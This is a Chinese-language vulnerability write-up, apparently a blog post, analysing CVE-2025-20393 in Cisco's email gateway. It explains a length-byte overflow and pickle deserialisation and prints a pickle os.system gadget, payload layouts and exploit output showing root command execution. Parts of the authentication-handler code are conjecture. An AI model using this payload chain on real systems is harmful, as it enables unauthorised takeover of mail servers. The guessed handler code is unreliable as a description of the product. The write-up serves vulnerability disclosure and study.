TL;DR
CVE-2025-20393 是 Cisco Secure Email Gateway 和 Secure Email and Web Manager 中的一个严重漏洞(CVSS 10.0)。漏洞成因是 EUQ(End User Quarantine)服务的 RPC 协议在打包 destination 长度时使用了单字节 struct.pack('>B', ...),而 Python 2.6 对超出范围的值会静默截断而非抛出异常。当攻击者发送 256 字节的 payload 时,长度字段溢出为 0,导致认证绕过,最终通过 cPickle.loads() 实现未授权 RCE。
0x00 漏洞背景
2025年12月17日,Cisco 发布安全公告 cisco-sa-sma-attack-N9bf4,修复了一个 CVSS 10.0 的严重漏洞:
| 字段 |
值 |
| Advisory ID |
cisco-sa-sma-attack-N9bf4 |
| CVE |
CVE-2025-20393 |
| CVSS 3.1 |
10.0 (Critical) |
| CWE |
CWE-20 (Improper Input Validation) |
| 受影响产品 |
Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA) |
| Bug IDs |
CSCws36549, CSCws52505 |
| Workarounds |
无 |
我们获取了 AsyncOS 15.5.3 固件,通过逆向工程和代码分析
0x01 补丁分析
当补丁版本发布后,我们提取并对比了两个版本的固件。EUQ(End User Quarantine)服务引起了我们的注意——它暴露在 83 端口且大量使用 Python。
对比 AsyncOS 15.5.3(漏洞版本)与补丁版本的 CommandMessage.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \ AsyncOS_patched/site-packages/zeus/CommandMessage.py
30a26,47 > if destination is not None: > if len(destination) >= 255: > debug_str = 'DEBUG:send_message:Invalid destination len:%r ...' > coro.print_stderr(debug_str) > raise Commandment.MessageFormatError() > if source is not None: > if len(source) >= 255: > debug_str = 'DEBUG:send_message:Invalid source len:%r ...' > coro.print_stderr(debug_str) > raise Commandment.MessageFormatError()
|
补丁对 destination 和 source 增加了 >= 255 的长度限制。超过则抛出 MessageFormatError。
关键问题
猫哥在看到这个 diff 时敏锐的觉得这应该是一个有用的Patch:
“为什么是 255?如果发送 256 字节会怎样?”
0x02 Python 2.6 的 struct.pack 行为
查看反编译后的文件头:
AsyncOS 使用 Python 2.6 运行时——一个 2008 年发布、2013 年已 EOL 的版本。这至关重要,因为 Python 2.6 与 Python 3 在处理 struct.pack 溢出时行为完全不同。
Python 3.x(严格模式):
1 2 3 4 5
| >>> import struct >>> struct.pack('>B', 256) Traceback (most recent call last): File "<stdin>", line 1, in <module> struct.error: 'B' format requires 0 <= number <= 255
|
Python 3 在值超出范围时抛出异常。
Python 2.6(静默截断):
1 2 3 4 5 6 7
| >>> import struct >>> struct.pack('>B', 256) '\x00' >>> struct.pack('>B', 289) '!' >>> ord('!') 33
|
Python 2.6 对超出范围的值执行模运算:
1 2 3
| 256 % 256 = 0 → '\x00' 289 % 256 = 33 → '!' (0x21) 512 % 256 = 0 → '\x00'
|
这就是整数溢出。在 Python 2.6 中,struct.pack('>B', 256) 不会失败——它返回 0x00。
为何重要
RPC 消息打包代码使用:
1
| dst_len = struct.pack('>B', len(destination))
|
当 len(destination) = 256 时:
- Python 3:抛出异常,攻击失败
- Python 2.6:
dst_len = '\x00',攻击成功
Cisco 古老的 Python 2.6 运行时将一个潜在的崩溃转变为可利用的溢出。
0x03 EUQ RPC 协议分析
EUQ 服务架构
EUQ 允许邮件接收者通过 83 端口的 Web 界面管理隔离邮件:
1 2 3 4 5 6 7 8
| ┌─────────────┐ HTTPS/83 ┌─────────────┐ RPC ┌─────────────┐ │ End User │ ◄───────────────► │ EUQ Web │ ◄────────────► │ EUQ Backend│ │ Browser │ │ Frontend │ │ (Python) │ └─────────────┘ └─────────────┘ └─────────────┘ │ ▼ /Search endpoint ?auth=...&serial=...
|
消息头定义
Commandment.py 定义了 RPC 消息头格式:
1 2 3
| HEADER = '>BBIIBB32s' HEADER_LENGTH = struct.calcsize(HEADER)
|
格式解析:
| 格式 |
类型 |
大小 |
字段 |
> |
Big-endian |
- |
字节序修饰符 |
B |
unsigned char |
1 byte |
version |
B |
unsigned char |
1 byte |
ttl |
I |
unsigned int |
4 bytes |
message_length |
I |
unsigned int |
4 bytes |
message_type |
B |
unsigned char |
1 byte |
source_length |
B |
unsigned char |
1 byte |
destination_length |
32s |
char[32] |
32 bytes |
txn_tag |
总 header 大小:1+1+4+4+1+1+32 = 44 字节
漏洞点在于 source_length 和 destination_length——均定义为单字节无符号字符(B),范围限制为 0-255。
消息构造:send_message()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def send_message(write_method, message_type, source, destination='', message='', ttl=0, timeout=0, tag=None): header = struct.pack( Commandment.HEADER, Commandment.MESSAGE_VERSION, ttl, len(message), message_type, len(source), len(destination), _message_tag(tag) ) packet = header + source + destination + message write_method(packet)
|
关键观察:当 len(destination) 超过 255 时,Python 2.6 的 struct.pack 使用格式 'B' 会静默截断该值。
消息解析:read_message()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| def read_message(read_method, timeout=0): header = _read(read_method, Commandment.HEADER_LENGTH, timeout)
try: (version, ttl, message_length, message_type, source_length, destination_length, txn_tag) = struct.unpack( Commandment.HEADER, header) except struct.error: raise Commandment.MessageFormatError()
if version != Commandment.MESSAGE_VERSION: raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)
source = _read(read_method, source_length, timeout)
if destination_length: destination = _read(read_method, destination_length, timeout) else: destination = ''
message = _read(read_method, message_length, timeout)
return (txn_tag.rstrip('\x00'), ttl, message_type, source, destination, message)
|
关键漏洞路径 [A] 和 [B]:
- 当
destination_length = 0(由于溢出),代码进入 else 分支
destination 被设为空字符串 ''
- 空 destination 不会触发认证验证
- 攻击者控制的 message 载荷直接进入
cPickle.loads()
完整消息结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| +--------------------------- HEADER (44 bytes) ---------------------------+ | | | +---------+---------+--------------+--------------+----------+---------+--------+ | | version | ttl | message_len | message_type |source_len| dest_len|txn_tag | | | (1B) | (1B) | (4B) | (4B) | (1B) | (1B) | (32B) | | | 'B' | 'B' | 'I' | 'I' | 'B' | 'B' | '32s' | | +---------+---------+--------------+--------------+----------+---------+--------+ | | +--------------------------------------------------------------------------+ | v +--------------------------- BODY (variable) -----------------------------+ | | | +--------------------+---------------------+----------------------------+ | | source | destination | message | | | (source_len bytes) | (dest_len bytes) | (message_len bytes) | | | | | -> cPickle.loads() | | +--------------------+---------------------+----------------------------+ | | +--------------------------------------------------------------------------+
|
0x04 漏洞分析
溢出链
追踪发送 256 字节 destination 时的执行流程:
步骤 1:消息打包(发送端)
1 2 3 4 5 6 7
| destination = attacker_controlled_256_bytes header = struct.pack('>BBIIBB32s', ..., len(destination), ... )
|
步骤 2:消息解析(接收端)
1 2 3 4 5 6 7 8 9 10 11 12 13
| (version, ttl, message_length, message_type, source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s', header)
if destination_length: destination = _read(read_method, destination_length, timeout) else: destination = ''
message = _read(read_method, message_length, timeout) return (..., destination, message)
|
步骤 3:通过 Pickle 实现 RCE
1 2
| result = cPickle.loads(message)
|
代码流程图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| 攻击者发送 256 字节的 serial 参数 │ ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ send_message() @ CommandMessage.py │ │ │ │ destination = attacker_payload (256 bytes) │ │ │ │ │ ▼ │ │ struct.pack('>BBIIBB32s', ..., len(destination), ...) │ │ struct.pack(..., 256, ...) │ │ │ │ │ ▼ │ │ Python 2.6: 256 % 256 = 0 → '\x00' ← 整数溢出 │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ │ │ 网络传输 ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ read_message() @ CommandMessage.py │ │ │ │ header = _read(read_method, 44, timeout) │ │ (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header) │ │ │ │ │ ▼ │ │ dest_len = 0 ← 来自溢出 │ │ │ │ │ ▼ │ │ if dest_len: # False! │ │ destination = _read(read_method, dest_len, timeout) │ │ else: │ │ destination = '' ← 空字符串,认证被绕过 │ │ │ │ │ ▼ │ │ message = _read(read_method, message_len, timeout) │ │ return (..., destination, message) │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────┐ │ RPC Handler │ │ │ │ (_, _, _, _, destination, message) = read_message(...) │ │ │ │ │ ▼ │ │ # destination = ''(空)- 验证被跳过或通过 │ │ │ │ │ ▼ │ │ result = cPickle.loads(message) ← 攻击者控制的 PICKLE │ │ │ │ │ ▼ │ │ os.system('attacker_command') ← RCE 达成 │ │ │ └─────────────────────────────────────────────────────────────────────────────┘
|
为何 Pickle 是危险的
对不可信输入使用 cPickle.loads() 是灾难性的:
1 2 3 4 5 6 7 8 9 10 11 12
| import pickle import os
class Exploit: def __reduce__(self): return (os.system, ('id',))
payload = pickle.dumps(Exploit())
pickle.loads(payload)
|
__reduce__ 方法告诉 pickle 如何重建对象——而这个”重建”可以是任意代码执行。
0x05 利用策略:认证绕过深度分析
认证问题
正常操作中,EUQ RPC 协议使用 destination 字段进行认证。服务器验证传入消息是否发往自己的序列号:
1 2 3 4 5 6 7 8 9 10
| def handle_rpc_message(message_data): (_, _, _, source, destination, message) = read_message(...)
if destination != MY_SERIAL_NUMBER: raise AuthenticationError("Message not for this server")
result = cPickle.loads(message)
|
挑战:要利用 pickle 反序列化,我们需要通过认证检查。但如何知道目标服务器的序列号?
两种利用方式对比
| 方式 |
前提条件 |
溢出值 |
使用场景 |
| 序列号匹配 |
需知道目标序列号 |
dst_len = serial_len |
序列号已泄露时 |
| 零长度绕过 |
无 |
dst_len = 0 |
通用,无前提条件 |
方式 1:序列号匹配
1 2 3 4 5
| Serial: "564D3D47E3BCFBA26307-2EC835E2635A" (33 bytes) Payload 长度: 256 + 33 = 289 bytes 溢出: 289 % 256 = 33 ✓
服务器读取 33 字节作为 destination → 匹配序列号 → 认证通过
|
Payload 布局:
1 2 3 4 5 6 7 8 9
| ┌────────────────────────┬────────────────────┬─────────────────┐ │ Server Serial │ Pickle Payload │ Padding │ │ (33 bytes) │ (72 bytes) │ (184 bytes) │ └────────────────────────┴────────────────────┴─────────────────┘ Total: 289 bytes → 289 % 256 = 33
│ │ ▼ ▼ 通过认证检查 cPickle.loads() → RCE
|
方式 2:零长度绕过(无前提条件)
Jiantao 的关键洞察是认识到 dst_len = 0 会创建一个特殊情况。再次审视 read_message() 代码:
1 2 3 4 5 6 7 8 9 10 11
| def read_message(read_method, timeout=0):
if destination_length: destination = _read(read_method, destination_length, timeout) else: destination = ''
|
当 destination_length = 0 时:
- [1] 处的
if destination_length: 检查求值为 False(0 是假值)
- 代码进入 [2] 处的 else 分支
destination 被设为空字符串 ''
- 不从网络读取任何字节作为 destination
空 Destination 为何能绕过认证
通过分析,我们确定当 destination 为空时,认证检查存在以下行为之一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if destination: if destination != MY_SERIAL_NUMBER: raise AuthenticationError(...)
if destination == '' or destination == MY_SERIAL_NUMBER: process_message(...)
try: validate_destination(destination) except: pass
|
无论哪种情况,空 destination 都允许消息到达 cPickle.loads()。
两种方式对比
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| ┌─────────────────────────────────────────────────────────────────────────────┐ │ 序列号匹配方式 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes │ │ │ │ 溢出: 289 % 256 = 33 │ │ │ │ 服务器读取: │ │ dst_len = 33 │ │ destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A" │ │ 认证检查: destination == MY_SERIAL → 通过 ✓ │ │ message = payload[33:105] = pickle_gadget │ │ cPickle.loads(message) → RCE │ │ │ │ 要求: 必须知道服务器的序列号 │ └─────────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐ │ 零长度绕过方式 ✓ │ ├─────────────────────────────────────────────────────────────────────────────┤ │ Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes │ │ │ │ 溢出: 256 % 256 = 0 │ │ │ │ 服务器读取: │ │ dst_len = 0 │ │ if dst_len: ... else: destination = '' ← 空字符串 │ │ 认证检查: destination == '' → 绕过! ✓ │ │ message = payload[0:72] = pickle_gadget │ │ cPickle.loads(message) → RCE │ │ │ │ 要求: 无 - 对任何目标都有效 │ └─────────────────────────────────────────────────────────────────────────────┘
|
我们选择零长度绕过方式,因为它无需任何目标信息即可实现通用利用。
0x06 利用演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| $ python3 exploit.py 192.168.2.10 'id > /tmp/pwned'
====================================================================== CVE-2025-20393 - Cisco Secure Email Gateway RCE Advisory: cisco-sa-sma-attack-N9bf4 ======================================================================
[*] Target: https://192.168.2.10:83 [*] Command: id > /tmp/pwned
[*] Exploit Details: ├─ Python 2.6 struct.pack('>B', 256) = 0x00 (truncated) ├─ Pickle gadget: 72 bytes ├─ Padding: 184 bytes ├─ Total payload: 256 bytes └─ Overflow: 256 % 256 = 0
[*] URL length: 891 bytes
[*] Sending exploit... [+] Read timeout - likely successful! (Server busy executing pickle payload)
[*] Verify: $ ssh root@192.168.2.10 'cat /tmp/pwned'
|
验证:
1 2
| $ ssh root@192.168.2.10 'cat /tmp/pwned' uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
|
0x07 总结
CVE-2025-20393 展示了技术债务的复合危害:
- Python 2.6 — 一个 17 年前的运行时,带有不安全的默认行为
- 单字节长度字段 — 过早优化创造了溢出条件
- Pickle 反序列化 — 方便但等同于对不可信输入执行
eval()
- 缺失验证 — 补丁揭示了本应从一开始就存在的校验
References
Comments